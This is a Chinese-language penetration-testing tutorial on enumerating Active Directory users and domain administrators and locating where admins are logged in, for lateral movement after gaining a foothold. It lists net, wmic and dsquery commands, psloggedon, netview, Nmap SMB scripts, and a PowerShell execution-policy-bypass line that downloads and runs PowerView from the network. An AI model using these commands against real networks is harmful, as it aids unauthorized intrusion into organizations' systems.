獲取域內管理員和用戶信息
1.查找所有域用戶列表
向域控制器進行查詢
net user /domain
獲取域內用戶的詳細信息
wmic useraccount get /all
獲取到的信息包含用戶名,描述信息,SID,域名,狀態等等。
獲取存在的用戶(要在 Active Directory 域管理服務器上運行。)
dsquery user dsquery computer 查找目錄中的計算機dsquery contact 查找目錄中的聯系人dsquery subnet 查找目錄中的子網dsquery group 查找目錄中的組dsquery ou 查找目錄中的組織單位dsquery site 查找目錄中的站點dsquery server 查找目錄中的AD DC/LDS實例dsquery user 查找目錄中的用戶dsquery partition查找目錄中的分區dsquery * 使用通用的LDAP查找目錄中的所有對象
查找本地管理員組用戶
net localgroup administrators
2.查詢域管理用戶組
查找域管理員用戶
net group “domain admin” /domain
查找管理員用戶組
net group “Enterprise Admins” /domain
3.快速定位域管理員
內網滲透的目標是拿到某臺特定的用戶或計算機的權限,進而拿到特定的數據。
常規定位域管理員的方法
日志:指的是本地機器的管理員日志,可以使用腳本或wevtutil導出查看。 會話:指的是域內每臺機器的登錄會話,可以使用netsess.exe或powerview等等工具查詢 可以匿名查詢,不用權限(常用)
常規域管理員定位的工具
如果我們拿到了一臺普通用戶權限的windows計算機,想要在內網中橫向移動,需要知道域內用戶登錄的位置,是否是本地管理員,他的組,是否有權訪問文件共亨等等。
常用的域管理員定位工具有psloggedon.exe,PVEFindADUser,exe,netsess,exe以及huner,Netview等等。
在PowerShell中,常用的工具是PowerView。
psloggedon.exe
在Windows平臺上使用psloggedon.exe,可以查看本地登錄的用戶和通過本地計算機或遠程計算機資源登錄的用戶,原理是通過檢查注冊表的HKEY USERS項的key值來查詢誰登錄過(HKEY_USERS根鍵包括默認用戶的信息(DEFAULT子鍵)和所有以前登陸的用戶的信息.)但是有些功能需要管理員權限才能調用,而且會調用NetSessionEnum API。
一般來說不用加參數 psloggedon.exe //dc 就行

PVEFindADUser.exe(要管理員權限)
2009年放出來的工具。可以查找活動目錄用戶登錄的位置,枚舉域用戶等等。
PVEFindADUser.exe -h 顯示幫助信息
-current["username"]列出目標計算機上當前登錄的所有用戶/顯示該用戶登錄的計算機
其他命令不多說,百度就ok

netview.exe(小部分要管理員權限)
利用 NetSessionEnum 來找尋登陸sessions, 利用NetShareEnum來找尋共享 , 利用 NetWkstaUserEnum 來枚舉登陸的用戶。調用Api太多不是個好事。
netview.exe 參數 常見參數 -h 查看幫助信息 -d 從當前域中提取主機列表 -d domian 指定提取主機列表的域 -g 在Domain admins組中搜索組名 -g group 指定搜索組名 -c 對找到的共享目錄/文件的訪問權限進行檢查
Nmap的NSE腳本
如果存在域賬號/本地賬號,我們可以使用Nmap的smb-enum-session.nse腳本來獲取遠程機器的登錄會話。
https://nmap.org/nsedoc/scripts/smb-enum-sessions.html
用法示例
nmap --script smb-enum-sessions.nse -p445 sudo nmap -sU -sS --script smb-enum-sessions.nse -p U:137,T:139
其他nmap腳本
smb-enum-users.nse下載:https ://svn.nmap.org/nmap/scripts/smb-enum-users.nse使用SAMR枚舉或LSA暴力破解不同的技術來枚舉遠程Windows系統上的用戶,并提供盡可能多的信息。默認情況下,兩者都使用,但是它們具有特定的優點和缺點。最好同時使用兩者,但在某些情況下,最好優先選擇兩者。用法示例nmap --script smb-enum-users.nse -p445 sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 smb-enum-domains.nse下載https://svn.nmap.org/nmap/scripts/smb-enum-domains.nse嘗試枚舉系統上的域及其策略。可以獲取主機信息,用戶,可使用的密碼策略的用戶等等。用法示例nmap --script smb-enum-domains.nse -p445 sudo nmap -sU -sS --script smb-enum-domains.nse -p U:137,T:139
Powershell下的腳本
powerView腳本
本地調用 powershell.exe -exec bypass -command "&"遠程調用 powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1');invoke-stealithuserhunter"域中定位域管理員:Invoke-UserHunter命令,在使用時不需要管理員權限;獲取域內所有用戶:invoke-stealthuserhunter命令,在使用時不需要管理員權限;隱蔽性高。優先使用其他Get-NetDomain: 獲取當前用戶所在域的名稱Get-NetUser: 獲取所有用戶的詳細信息Get-NetDomainController: 獲取所有域控制器的信息Get-NetComputer: 獲取域內所有機器的詳細信息Get-NetOU: 獲取域中的OU信息Get-NetGroup: 獲取所有域內組和組成員信息Get-NetFileServer: 根據SPN獲取當前域使用的文件服務器信息Get-NetShare: 獲取當前域內所有網絡共享信息Get-NetSession: 獲取指定服務器的會話Get-NetRDPSession: 獲取指定服務器的遠程連接Get-NetProcess: 獲取遠程主機的進程Get-UserEvent: 獲取指定用戶的日志Get-ADObiect: 獲取活動目錄的對象Get-NetGPO: 獲取域內所有的組策略對象Get-DomainPolicy: 獲取域默認策略或域控制器策略Invoke-UserHunter: 獲取域用戶登錄的計算機信息及該用戶是否有本地管理員權限Invoke-ProcessHunter: 通過查詢域內所有的機器進程找到特定用戶Invoke-UserEvenHunter: 根據用戶日志查詢某域用戶登錄過哪些域機器。